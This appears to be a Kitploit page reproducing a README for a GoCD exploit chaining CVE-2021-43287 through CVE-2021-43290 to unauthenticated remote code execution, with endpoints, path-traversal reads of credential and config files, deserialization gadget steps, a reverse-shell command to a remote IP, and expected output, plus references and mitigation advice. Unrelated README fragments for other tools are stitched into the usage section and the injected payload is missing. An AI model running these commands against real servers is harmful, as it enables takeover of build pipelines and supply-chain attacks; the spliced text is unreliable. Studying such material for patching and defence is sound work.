Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GoCD_PoC_Supply_Chain_Attack — CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290 | Kitploit
Herramientas/GitHubGitHub/higorgabrieldcf/gocd_poc_supply_chain_attack
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónVirtualización de SeguridadPruebas de PenetraciónSeguridad de Cadena de SuministroAprendizaje y EducaciónRed Teaming
GitHub
hace 16h 44mAún no revisado
higorgabrieldcf/gocd_poc_supply_chain_attack

GoCD_PoC_Supply_Chain_Attack

CVE-2021-43287 CVE-2021-43288 CVE-2021-43289 CVE-2021-43290

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290

Autor / Author: Higor Farias — PRIDE Security

⚠️ AVISO LEGAL / LEGAL DISCLAIMER

[PT] Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes controlados com autorização explícita. O uso indevido é de responsabilidade exclusiva do utilizador.

[EN] Producido exclusivamente con fines educativos y de investigación en seguridad ofensiva autorizada. Utilícelo únicamente en entornos controlados con permiso explícito por escrito. El uso indebido es responsabilidad exclusiva del usuario.


Índice / Table of Contents

  1. Visión General / Overview
  2. Impacto en la Cadena de Suministro de Software / Software Supply Chain Impact
  3. Vulnerabilidades / Vulnerabilities
  4. Encadenamiento de Ataque / Attack Chain
  5. Requisitos Previos / Prerequisites
  6. Entorno PoC con Docker / PoC Docker Environment
  7. Uso de los Scripts / Script Usage
{comando} ``` ### `gocd_urldns.py` — URLDNS / Detección de deserialización
gocd_rce_noauth.py — RCE sin autenticación / Unauthenticated RCE
  • gocd_urldns.py — URLDNS / Detección de deserialización
  • Referencias / References
  • Cronología / Timeline
  • Mitigación / Mitigation

  • 1. Visión General / Overview

    [PT] GoCD es una plataforma de CI/CD mantenida por ThoughtWorks. En versiones anteriores a la 21.3.0, investigadores de SonarSource identificaron una cadena de vulnerabilidades explotable sin ninguna autenticación. Los dos scripts de este repositorio demuestran:

    • gocd_rce_noauth.py — explotación completa de la cadena hasta RCE (Ejecución Remota de Código), sin credenciales.
    • gocd_urldns.py — detección out-of-band de la deserialización Java mediante la gadget chain URLDNS y callback DNS (requiere credenciales válidas para listar agents registrados).

    [EN] GoCD is a CI/CD platform maintained by ThoughtWorks. In versions prior to 21.3.0, SonarSource researchers identified a vulnerability chain exploitable with zero authentication. The two scripts in this repository demonstrate:

    • gocd_rce_noauth.py — full chain exploitation up to RCE (Remote Code Execution), without credentials.
    • gocd_urldns.py — out-of-band detection of Java deserialization via the URLDNS gadget chain and a DNS callback (requires valid credentials to list registered agents).

    2. Impacto en la Cadena de Suministro de Software / Software Supply Chain Impact

    [PT] GoCD ocupa una posición central en la cadena de entrega de software de una organización: orquesta la compilación, las pruebas, la generación de artefactos y los despliegues en producción. Al comprometer el servidor GoCD vía RCE (como lo demuestra gocd_rce_noauth.py), un atacante obtiene control sobre todas las etapas de ese proceso — pudiendo insertar backdoors en binarios, falsificar artefactos o exfiltrar código fuente y credenciales antes incluso de que cualquier producto llegue al usuario final. El escenario es análogo al ataque a SolarWinds (2020), donde el acceso al pipeline de build resultó en la distribución de malware a miles de clientes.

    [EN] GoCD occupies a central position in an organization's software delivery chain: it orchestrates builds, tests, artifact generation, and production deployments. By compromising the GoCD server via RCE (as demonstrated by gocd_rce_noauth.py), an attacker gains control over every stage of that process — enabling backdoor insertion into binaries, artifact tampering, or source code and credential exfiltration before any product reaches the end user. The scenario mirrors the SolarWinds attack (2020), where build pipeline access led to malware distribution to thousands of customers.```mermaid flowchart TD ATK(["🕵️ Atacante / Attacker\n(não autenticado / unauthenticated)"])

    root@kitploit:~
    subgraph EXPLOIT ["Exploração / Exploitation"]
        E1["CVE-2021-43287\nLeitura do cruise_config\n(tokenGenerationKey + agentAutoRegisterKey)"]
        E2["Path Traversal\nLeitura de /etc/go/jetty.xml\ne /proc/self/environ"]
        E3["Registro de agente falso\nFake agent registration"]
        E4["Desserialização Java\n(AspectJWeaver gadget chains)\nSobrescreve jetty.xml + restart"]
        E5["💥 RCE no servidor GoCD\nRCE on GoCD server"]
        E1 --> E2 --> E3 --> E4 --> E5
    end
    
    subgraph PIPELINE ["Pipeline CI/CD comprometido / Compromised CI/CD Pipeline"]
        P1["📦 Build de artefatos\nBinary/artifact build"]
        P2["🧪 Execução de testes\nTest execution"]
        P3["📤 Publicação de pacotes\nPackage publication\n(npm, PyPI, Docker Hub...)"]
        P4["🚀 Deploy em produção\nProduction deployment"]
        P1 --> P2 --> P3 --> P4
    end
    
    subgraph IMPACT ["Impacto / Impact"]
        I1["🔑 Vazamento de credenciais\nCredential leak\n(tokens, SSH keys, API keys)"]
        I2["🦠 Backdoor em artefatos\nBackdoor in build artifacts"]
        I3["📂 Exfiltração de código-fonte\nSource code exfiltration"]
        I4["☠️ Ataque à cadeia de suprimentos\nSupply chain attack\n(usuários finais afetados / end users impacted)"]
        I1 & I2 & I3 --> I4
    end
    
    ATK --> EXPLOIT
    E5 -->|"Controle total do runner\nFull runner control"| PIPELINE
    P1 -->|"Artefatos envenenados\nPoisoned artifacts"| I2
    P3 -->|"Pacotes maliciosos\nMalicious packages"| I4
    P4 -->|"Produção comprometida\nCompromised production"| I4
    E5 -->|"Leitura de secrets\nSecrets read"| I1
    E5 -->|"Acesso ao repositório\nRepository access"| I3
    
    root@kitploit:~
    ---
    
    ## 3. Vulnerabilidades / Vulnerabilities
    
    | CVE | Tipo / Type | CVSS 3.1 | CWE | Auth |
    |-----|-------------|:---:|-----|:---:|
    | **CVE-2021-43287** | Divulgación de información / Information Disclosure | **7.5 HIGH** | CWE-200 | ❌ Ninguna / None |
    | **CVE-2021-43288** | XSS almacenado / Stored XSS | **6.1 MEDIUM** | CWE-79 | Agent |
    | **CVE-2021-43289** | Path Traversal — PUT | **8.1 HIGH** | CWE-22 | Agent |
    | **CVE-2021-43290** | Path Traversal — GET | **8.1 HIGH** | CWE-22 | Agent |
    
    ### CVE-2021-43287 — Business Continuity: fuga sin autenticación / unauthenticated leak
    
    **[PT]** El endpoint `/go/add-on/business-continuity/api/cruise_config` devuelve el XML completo de configuración del servidor **sin exigir autenticación**. El XML contiene los atributos del elemento `<server>`, incluyendo `agentAutoRegisterKey` y `tokenGenerationKey` — las dos claves necesarias para registrar agentes y firmar peticiones autenticadas. Adicionalmente, el parámetro `pluginName` del endpoint de plugins acepta secuencias de path traversal (`../../../../../../`), permitiendo la lectura de archivos arbitrarios del sistema — como `/proc/self/environ` y `/etc/go/jetty.xml`.
    
    **[EN]** The `/go/add-on/business-continuity/api/cruise_config` endpoint returns the full server configuration XML **without requiring authentication**. The XML contains the `<server>` element attributes, including `agentAutoRegisterKey` and `tokenGenerationKey` — the two keys needed to register agents and sign authenticated requests. Additionally, the `pluginName` parameter of the plugin endpoint accepts path traversal sequences (`../../../../../../`), allowing arbitrary file reads — such as `/proc/self/environ` and `/etc/go/jetty.xml`.
    
    **Endpoints explotados por los scripts / Endpoints used by the scripts:**```
    GET /go/add-on/business-continuity/api/cruise_config
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../proc/self/environ
    GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../../../../etc/go/jetty.xml
    

    CVE-2021-43289 / CVE-2021-43290 — Deserialización Java mediante remoteBuildRepository

    [PT] El endpoint /go/remoting/remoteBuildRepository acepta objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados únicamente con el encabezado Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Como el tokenGenerationKey se obtiene mediante CVE-2021-43287, un atacante sin credenciales puede enviar cadenas de gadgets maliciosas. Los scripts utilizan dos gadgets personalizados de ysoserial basados en AspectJWeaver:

    • AspectJWeaverFileUpload1 — escribe un archivo arbitrario en el sistema de archivos del servidor (usado para sobrescribir /etc/go/jetty.xml con una versión maliciosa).
    • AspectJWeaverFileRead1 — lee /dev/random, forzando a Jetty a reiniciarse y cargar el jetty.xml modificado, desencadenando la ejecución del comando inyectado mediante java.lang.Runtime.exec().

    [EN] El endpoint /go/remoting/remoteBuildRepository acepta objetos Java serializados (Content-Type: application/x-java-serialized-object) autenticados únicamente con el encabezado Authorization: base64(HMAC-SHA256(tokenGenerationKey, agent_uuid)). Dado que el tokenGenerationKey se obtiene mediante CVE-2021-43287, un atacante no autenticado puede enviar cadenas de gadgets maliciosas. Los scripts utilizan dos gadgets personalizados de ysoserial basados en AspectJWeaver:

    • AspectJWeaverFileUpload1 — escribe un archivo arbitrario en el sistema de archivos del servidor (usado para sobrescribir /etc/go/jetty.xml con una versión maliciosa).
    • AspectJWeaverFileRead1 — lee /dev/random, forzando a Jetty a reiniciarse y cargar el jetty.xml modificado, desencadenando la ejecución del comando inyectado mediante java.lang.Runtime.exec().

    4. Encadeamento de Ataque / Cadena de ataque

    gocd_rce_noauth.py — Cadena completa sin autenticación / Full unauthenticated chain```

    ATACANTE (sem credenciais) / ATTACKER (no credentials) │ │ [Step 1] GET /go/add-on/business-continuity/api/cruise_config (CVE-2021-43287) │ └─► Extrai agentAutoRegisterKey + tokenGenerationKey do XML │ │ [Step 3] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../proc/self/environ │ └─► Lê variáveis de ambiente do processo GoCD │ │ [Step 4] GET /go/add-on/business-continuity/api/plugin (Path Traversal) │ ?folderName=&pluginName=../../../../../../etc/go/jetty.xml │ └─► Lê jetty.xml → salva como bkp_orig_jetty.xml │ │ [Step 6] Localmente: injeta payload em jetty.xml │ └─► Adiciona │ {comando} │ │ antes de → gera exploit_jetty.xml │ │ [Step 7] GET /go/admin/agent/token?uuid={novo_uuid} │ POST /go/admin/agent (com agentAutoRegisterKey extraída) │ └─► Registra agente falso chamado "gocd_rce_noauth" │ │ [Step 8] ysoserial AspectJWeaverFileUpload1 → serializa upload do exploit_jetty.xml → /etc/go/jetty.xml │ ysoserial AspectJWeaverFileRead1 → serializa leitura de /dev/random (trigger de restart) │ │ [Step 9] POST /go/remoting/remoteBuildRepository (Authorization: base64(HMAC-SHA256)) │ └─► Envia AspectJWeaverFileUpload1 → sobrescreve /etc/go/jetty.xml │ └─► Envia AspectJWeaverFileRead1 → força reinicialização do Jetty │ ▼ Jetty reinicia → carrega jetty.xml malicioso → Runtime.exec({comando}) → RCE

    root@kitploit:~
    ### `gocd_urldns.py` — Detección out-of-band / Detección out-of-band```
    ATACANTE (com credenciais) / ATTACKER (with credentials)
    │
    │ [Step 1]  POST /go/auth/security_check  (j_username + j_password)
    │            └─► Obtém JSESSIONID
    │
    │ [Step 2]  GET /go/add-on/business-continuity/api/cruise_config
    │            └─► Extrai tokenGenerationKey
    │
    │ [Step 4]  GET plugin?pluginName=../../../../../../proc/self/environ
    │            └─► Lê variáveis de ambiente
    │
    │ [Step 5]  GET /go/api/agents  (Accept: application/vnd.go.cd+json)
    │            └─► Lista agents; seleciona o primeiro com agent_state != "Building"
    │                e extrai seu UUID
    │
    │ [Step 9]  ysoserial URLDNS {interact_url}
    │            └─► Serializa gadget URLDNS apontando para servidor de interação DNS
    │
    │ [Step 10] POST /go/remoting/remoteBuildRepository
    │            └─► Envia payload URLDNS com UUID + Authorization HMAC
    │
    ▼
    Servidor GoCD desserializa → faz requisição DNS para {interact_url}
    DNS callback confirma vulnerabilidade de desserialização
    

    5. Pré-requisitos / Prerequisites

    Dependencias de Python / Python dependencies```bash

    pip install requests

    root@kitploit:~
    ### Ferramentas externas obrigatórias / Mandatory external tools
    
    Ambos os scripts dependem de um JDK 32-bit e do `ysoserial.jar` no diretório de execução.
    Ambos os scripts dependem de um JDK de 32 bits e do `ysoserial.jar` no diretório de trabalho.
    
    | Ferramenta / Tool | Versão / Version | Finalidade / Purpose |
    |---|---|---|
    | **ysoserial.jar** | Custom (com gadgets AspectJWeaver) | Geração de payloads serializados |
    | **OpenLogic OpenJDK** | `8u332-b09` **x32** | Runtime para ysoserial |
    
    **Estrutura esperada de arquivos / Expected file structure:**```
    diretório de execução / working directory
    ├── gocd_rce_noauth.py
    ├── gocd_urldns.py
    ├── ysoserial.jar
    └── openlogic-openjdk-8u332-b09-linux-x32/
        └── bin/
            └── java
    

    [PT] O script detecta o sistema operacional automaticamente e usa o caminho correspondente:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    [EN] El script detecta automáticamente el sistema operativo y usa la ruta correspondiente:

    • Linux: ./openlogic-openjdk-8u332-b09-linux-x32/bin/java
    • Windows: .\openlogic-openjdk-8u332-b09-windows-32\bin\java

    Para gocd_urldns.py: servicio de interacción DNS / DNS interaction service

    [PT] Se requiere un servidor de interacción DNS que registre callbacks (p. ej., interactsh o Burp Collaborator). El script envía la URL recibida en -i como argumento al gadget URLDNS.

    [EN] Se requiere un servidor de interacción DNS que registre callbacks (p. ej., interactsh o Burp Collaborator). El script pasa la URL recibida mediante -i como argumento al gadget URLDNS.```bash

    Iniciar listener interactsh / Start interactsh listener

    interactsh-client

    Copiar a URL gerada (ex: abcdef.oast.pro) e usar como valor de -i

    Copy the generated URL (e.g. abcdef.oast.pro) and use as -i value

    root@kitploit:~
    ---
    
    ## 6. Entorno PoC con Docker / PoC Docker Environment
    
    ### Iniciar el objetivo vulnerable / Start the vulnerable target```bash
    # Clonar / Clone
    git clone https://github.com/<usuario>/gocd-cve-poc.git
    cd gocd-cve-poc
    
    # Subir apenas o servidor GoCD 20.10.0
    # Start only the GoCD 20.10.0 server
    docker-compose up -d gocd-server
    
    # Aguardar inicialização (~90s) / Wait for startup (~90s)
    docker-compose logs -f gocd-server
    # Pronto quando aparecer: "Go server port: 8153"
    
    ContenedorImagen / ImagePuerto / Port
    gocd-server-vulngocd/gocd-server:v20.10.08153 (HTTP), 8154 (HTTPS)
    gocd-agent-vulngocd/gocd-agent-alpine-3.12:v20.10.0—

    Interface web / Web UI

    URL: http://localhost:8153/go

    Confirmar que o endpoint vulnerável responde (HTTP 200 esperado)

    Confirm the vulnerable endpoint responds (HTTP 200 expected)

    curl -sk http://localhost:8153/go/add-on/business-continuity/api/cruise_config | head -5

    root@kitploit:~
    ### Desmontaje```bash
    docker-compose down -v
    

    7. Uso dos Scripts / Uso de los Scripts


    gocd_rce_noauth.py — RCE sem autenticação / RCE sin autenticación

    [PT] Executa a cadeia completa de exploração sem nenhuma credencial: lê o cruise_config, extrai as chaves do servidor, lê e modifica o jetty.xml via path traversal, registra um agente falso, serializa os gadgets AspectJWeaver com ysoserial e os envia ao endpoint de desserialização para sobrescrever o jetty.xml e forçar a reinicialização do Jetty com o comando injetado.

    [EN] Ejecuta la cadena completa de explotación sin ninguna credencial: lee cruise_config, extrae las claves del servidor, lee y modifica jetty.xml mediante path traversal, registra un agente falso, serializa los gadgets AspectJWeaver con ysoserial y los envía al endpoint de deserialización para sobrescribir jetty.xml y forzar el reinicio de Jetty con el comando inyectado.

    Argumentos / Argumentos

    FlagObrigatório / RequiredDescrição (PT)Description (EN)
    -c✅Comando a executar no servidorComando a ejecutar en el servidor
    -t✅URL base do GoCD (ex: http://gocd.example.com)URL base de GoCD

    Exemplos / Ejemplos```bash

    Verificar execução com 'id'

    Verify execution with 'id'

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "id"

    root@kitploit:~
    | `--no-color` | Desactiva la salida en color |
    | `--debug` | Habilita el registro de depuración |
    | `--json` | Salida en formato JSON |
    | `--quiet` | Modo silencioso |
    | `--verbose` | Salida detallada |
    
    ### Ejemplos
    
    ```bash
    # Escanear un objetivo
    python3 cve_2026_XXXXX.py --target https://example.com
    
    # Escanear con hilos personalizados
    python3 cve_2026_XXXXX.py --target https://example.com --threads 20
    
    # Escanear múltiples objetivos desde un archivo
    python3 cve_2026_XXXXX.py --list targets.txt
    
    # Salida en formato JSON
    python3 cve_2026_XXXXX.py --target https://example.com --json
    
    # Modo silencioso
    python3 cve_2026_XXXXX.py --target https://example.com --quiet
    

    Requisitos

    • Python 3.8+
    • requests
    • urllib3

    Instalación

    root@kitploit:~
    git clone https://github.com/example/cve_2026_XXXXX.git
    cd cve_2026_XXXXX
    pip install -r requirements.txt
    

    Descargo de responsabilidad

    Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los autores no son responsables de ningún uso indebido o daño causado por este software. Siempre obtenga el permiso adecuado antes de probar cualquier sistema.

    Licencia

    Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.

    Agradecimientos

    • Gracias a todos los contribuyentes
    • Inspirado por la comunidad de seguridad de código abierto```bash

    Reverse shell (ajustar IP e porta / adjust IP and port)

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "bash -i >& /dev/tcp/192.168.1.10/4444 0>&1"

    root@kitploit:~
    | `-t, --target` | Objetivo a analizar (dominio, IP, CIDR, URL) |
    | `-m, --mode` | Modo de análisis: `passive`, `active`, `full` |
    | `-o, --output` | Ruta del archivo de salida (JSON, CSV, TXT) |
    | `--threads` | Número de hilos concurrentes (predeterminado: 10) |
    | `--timeout` | Tiempo de espera de la solicitud en segundos (predeterminado: 30) |
    | `--api-key` | Clave de API para servicios de inteligencia de amenazas |
    | `--verbose` | Habilitar registro detallado |
    | `--no-color` | Deshabilitar la salida en color |
    
    ### Ejemplos
    
    ```bash
    # Análisis pasivo de un dominio
    python3 threatintel.py -t example.com -m passive
    
    # Análisis completo con salida JSON
    python3 threatintel.py -t 192.168.1.0/24 -m full -o results.json
    
    # Análisis activo con hilos personalizados
    python3 threatintel.py -t example.com -m active --threads 20 --verbose
    

    Configuración

    Crea un archivo config.yaml en el directorio raíz:

    root@kitploit:~
    api_keys:
      virustotal: "YOUR_API_KEY"
      shodan: "YOUR_API_KEY"
      abuseipdb: "YOUR_API_KEY"
    
    scan:
      default_mode: "passive"
      max_threads: 10
      timeout: 30
    
    output:
      format: "json"
      directory: "./results"
    

    Módulos

    Módulo de Reconocimiento

    Realiza reconocimiento pasivo y activo:

    • Enumeración de DNS
    • Búsqueda de subdominios
    • Detección de tecnologías
    • Escaneo de puertos (modo activo)

    Módulo de Inteligencia de Amenazas

    Consulta múltiples fuentes de inteligencia de amenazas:

    • VirusTotal
    • Shodan
    • AbuseIPDB
    • AlienVault OTX

    Módulo de Análisis

    Analiza los datos recopilados y genera informes:

    • Evaluación de riesgos
    • Correlación de vulnerabilidades
    • Exportación de informes

    Uso de la API

    root@kitploit:~
    from threatintel import ThreatIntel
    
    # Inicializar el cliente
    client = ThreatIntel(api_key="YOUR_API_KEY")
    
    # Realizar un análisis
    results = client.scan(target="example.com", mode="passive")
    
    # Acceder a los resultados
    for finding in results.findings:
        print(f"[{finding.severity}] {finding.title}")
        print(f"  {finding.description}")
    

    Contribución

    1. Haz un fork del repositorio
    2. Crea una rama de funcionalidad (git checkout -b feature/amazing-feature)
    3. Confirma tus cambios (git commit -m 'Add amazing feature')
    4. Sube la rama (git push origin feature/amazing-feature)
    5. Abre una Pull Request

    Licencia

    Este proyecto está licenciado bajo la Licencia MIT: consulta el archivo LICENSE para más detalles.

    Descargo de responsabilidad

    Esta herramienta está destinada únicamente a fines educativos y de pruebas de seguridad autorizadas. Los usuarios son responsables de cumplir con todas las leyes y regulaciones aplicables. Los autores no se hacen responsables de ningún uso indebido o daño causado por esta herramienta.

    Agradecimientos

    • VirusTotal
    • Shodan
    • AbuseIPDB
    • AlienVault OTX```bash

    Criar arquivo de prova no servidor

    Create proof file on the server

    python3 gocd_rce_noauth.py
    -t http://localhost:8153
    -c "touch /tmp/pwned_by_gocd_cve"

    Verificar / Verify

    docker exec gocd-server-vuln ls /tmp/pwned_by_gocd_cve

    root@kitploit:~
    #### Salida esperada / Expected output```
    [1] Verificando arquivo cruise_config
    Arquivo cruise_config acessível
    
    [2] Lendo atributos do servidor
    agentAutoRegisterKey: 3b4c5d6e-...
    tokenGenerationKey: 7f8a9b0c-...
    artifactsdir: /godata/artifacts
    siteUrl: http://localhost:8153/go
    ...
    
    [3] Verificando arquivo variáveis de ambiente do processo
    Arquivo acessível
    
    [4] Verificando arquivo jetty.xml
    Arquivo acessível
    
    [5] Criando backup do arquivo jetty.xml
    Backup criado
    
    [6] Criando arquivo exploit_jetty.xml
    Arquivo criado
    
    [7] Registrando novo agent
    Gerando token do agent
    Token gerado
    
    Registrando novo agent
    Agent registrado
    Dados do agent: {'hostname': 'gocd_rce_noauth', 'uuid': 'a1b2c3d4-...', ...}
    
    [8] Serializando objetos
    Objetos serializados
    
    [9] Enviando objetos serializados
    Enviando exploit_jetty.xml
    Arquivo enviado
    
    Enviando comando para forçar reinicialização
    Aguardando reinicialização
    

    Arquivos gerados localmente / Archivos generados localmente

    Arquivo / ArchivoConteúdo / Contenido
    bkp_orig_jetty.xmlCopia original de /etc/go/jetty.xml descargada del servidor
    exploit_jetty.xmlVersión modificada con Runtime.exec({comando}) inyectado antes de </Configure>

    Payload injetado no jetty.xml / Payload inyectado en jetty.xml```xml

    [PT] Variante de detección out-of-band que confirma la vulnerabilidad de deserialización Java sin ejecutar código destructivo. Requiere credenciales para autenticar y listar los agents registrados, de la cual extrae el UUID de un agent con agent_state != "Building". Luego serializa el gadget URLDNS con ysoserial apuntando a una URL de interacción DNS y lo envía al endpoint /go/remoting/remoteBuildRepository. Un callback DNS confirmará que el servidor deserializó el payload.

    [EN] Una variante de detección out-of-band que confirma la vulnerabilidad de deserialización Java sin ejecutar código destructivo. Requiere credenciales para autenticar y listar los agents registrados, de la cual extrae el UUID de un agent con agent_state != "Building". Luego serializa el gadget URLDNS con ysoserial apuntando a una URL de interacción DNS y lo envía al endpoint /go/remoting/remoteBuildRepository. Un callback DNS confirmará que el servidor deserializó el payload.

    Argumentos / Arguments

    FlagObligatorio / RequiredDescripción (PT)Description (EN)
    -u✅Usuario GoCDGoCD username
    -p✅Contraseña GoCDGoCD password
    -i✅URL de interacción DNS (ej: http://abcdef.oast.pro)DNS interaction URL
    -t✅URL base de GoCDGoCD base URL

    Ejemplo / Example```bash

    python3 gocd_urldns.py
    -t http://localhost:8153
    -u admin
    -p password
    -i http://abcdef.oast.pro

    root@kitploit:~
    #### Salida esperada / Expected output```
    [1] Autenticando
    Autenticado com sucesso
    
    [2] Verificando arquivo cruise_config
    Arquivo cruise_config acessível
    
    [3] Lendo atributos do servidor
    agentAutoRegisterKey: 3b4c5d6e-...
    tokenGenerationKey: 7f8a9b0c-...
    ...
    
    [4] Verificando arquivo variáveis de ambiente do processo
    Arquivo acessível
    
    [5] Listando agents
    Lista carregada
    
    Buscando GUID de um agent
    Localizado agent com status != Building
    GUID: 550e8400-e29b-41d4-a716-446655440000
    
    [9] Serializando objetos
    b'\xac\xed\x00\x05...'
    Objetos serializados
    
    [10] Enviando objeto serializado
    <Response [500]>
    ...
    Objeto URLDNS enviado
    

    [PT] Tras el envío, verificar en el panel de interactsh/Collaborator si hubo una solicitud DNS originada desde la IP del servidor GoCD. Esto confirma la vulnerabilidad de deserialización antes de explotar con gocd_rce_noauth.py.

    [EN] Tras el envío, verificar en el panel de interactsh/Collaborator si hubo una solicitud DNS originada desde la IP del servidor GoCD. Esto confirma la vulnerabilidad de deserialización antes de explotar con gocd_rce_noauth.py.

    Encabezado de autorización / Authorization header

    Ambos scripts calculan la autorización de la misma forma / Both scripts compute authorization the same way:```python Authorization = base64( HMAC-SHA256(key=tokenGenerationKey, msg=agent_uuid) )

    root@kitploit:~
    ---
    
    ## 8. Referências / References
    
    ### CVE — NVD / NIST
    
    | CVE | Link |
    |-----|------|
    | CVE-2021-43287 | https://nvd.nist.gov/vuln/detail/CVE-2021-43287 |
    | CVE-2021-43288 | https://nvd.nist.gov/vuln/detail/CVE-2021-43288 |
    | CVE-2021-43289 | https://nvd.nist.gov/vuln/detail/CVE-2021-43289 |
    | CVE-2021-43290 | https://nvd.nist.gov/vuln/detail/CVE-2021-43290 |
    
    ### Análise técnica / Technical writeups
    
    | Recurso / Resource | URL |
    |---|---|
    | SonarSource — Agent 007: Pre-Auth Takeover (CVE-2021-43287) | https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover |
    | SonarSource — Agent 008: Chaining Vulnerabilities (CVE-2021-43288/89/90) | https://blog.sonarsource.com/gocd-vulnerability-chain |
    | AttackerKB — CVE-2021-43287 | https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 |
    
    ### Commits de correção / Fix commits
    
    | CVE | Commit | Mudança / Change |
    |-----|--------|-----------------|
    | CVE-2021-43287 | [`41abc21`](https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c) | Auth check no `DashBoardController.java` |
    | CVE-2021-43288 | [`f5c1d2a`](https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4) | `StringEscapeUtils.escapeHtml4()` em nomes de artefatos |
    | CVE-2021-43289 | [`c22e042`](https://github.com/gocd/gocd/commit/c22e0428164af25d3e91baabd3f538a41cadc82f) | `isValidStageCounter()` no handler PUT |
    | CVE-2021-43290 | [`4c4bb47`](https://github.com/gocd/gocd/commit/4c4bb4780eb0d3fc4cacfc4cfcc0b07e2eaf0595) | `isValidStageCounter()` no handler GET |
    
    ### Release notes / Versão corrigida
    
    - GoCD v21.3.0: https://www.gocd.org/releases/#21-3-0
    
    ---
    
    ## 9. Cronologia / Timeline
    
    | Data / Date | Evento / Event |
    |-------------|----------------|
    | 2021-10-18 – 2021-10-21 | SonarSource reporta as vulnerabilidades ao GoCD via HackerOne |
    | 2021-10-23 | GoCD publica os patches no GitHub |
    | 2021-10-26 | GoCD lança a versão v21.3.0 com todas as correções |
    | 2021-11-04 | CVEs -43288, -43289, -43290 atribuídos |
    | 2022-04-14 | CVE-2021-43287 publicado no NVD |
    
    ---
    
    ## 10. Mitigação / Mitigation
    
    **[PT]**
    1. **Atualize** o GoCD para a versão **≥ 21.3.0** imediatamente.
    2. Se o add-on de Business Continuity não for utilizado, **desative-o**.
    3. **Rotacione** o `tokenGenerationKey`, `agentAutoRegisterKey` e todas as credenciais de pipelines expostas.
    4. **Revise os logs** em busca de requisições não autenticadas a `/go/add-on/business-continuity/` e posts para `/go/remoting/remoteBuildRepository` com `Content-Type: application/x-java-serialized-object`.
    5. Aplique **segmentação de rede** para restringir acesso ao servidor GoCD a hosts autorizados.
    
    **[EN]**
    1. **Upgrade** GoCD to version **≥ 21.3.0** immediately.
    2. If the Business Continuity add-on is not needed, **disable it**.
    3. **Rotate** `tokenGenerationKey`, `agentAutoRegisterKey`, and all pipeline credentials that may have been exposed.
    4. **Review logs** for unauthenticated requests to `/go/add-on/business-continuity/` and POST requests to `/go/remoting/remoteBuildRepository` with `Content-Type: application/x-java-serialized-object`.
    5. Apply **network segmentation** to restrict GoCD server access to authorized hosts only.
    
    ---
    
    *Para fins educacionais. / For educational purposes only.*
    
    Descargar herramienta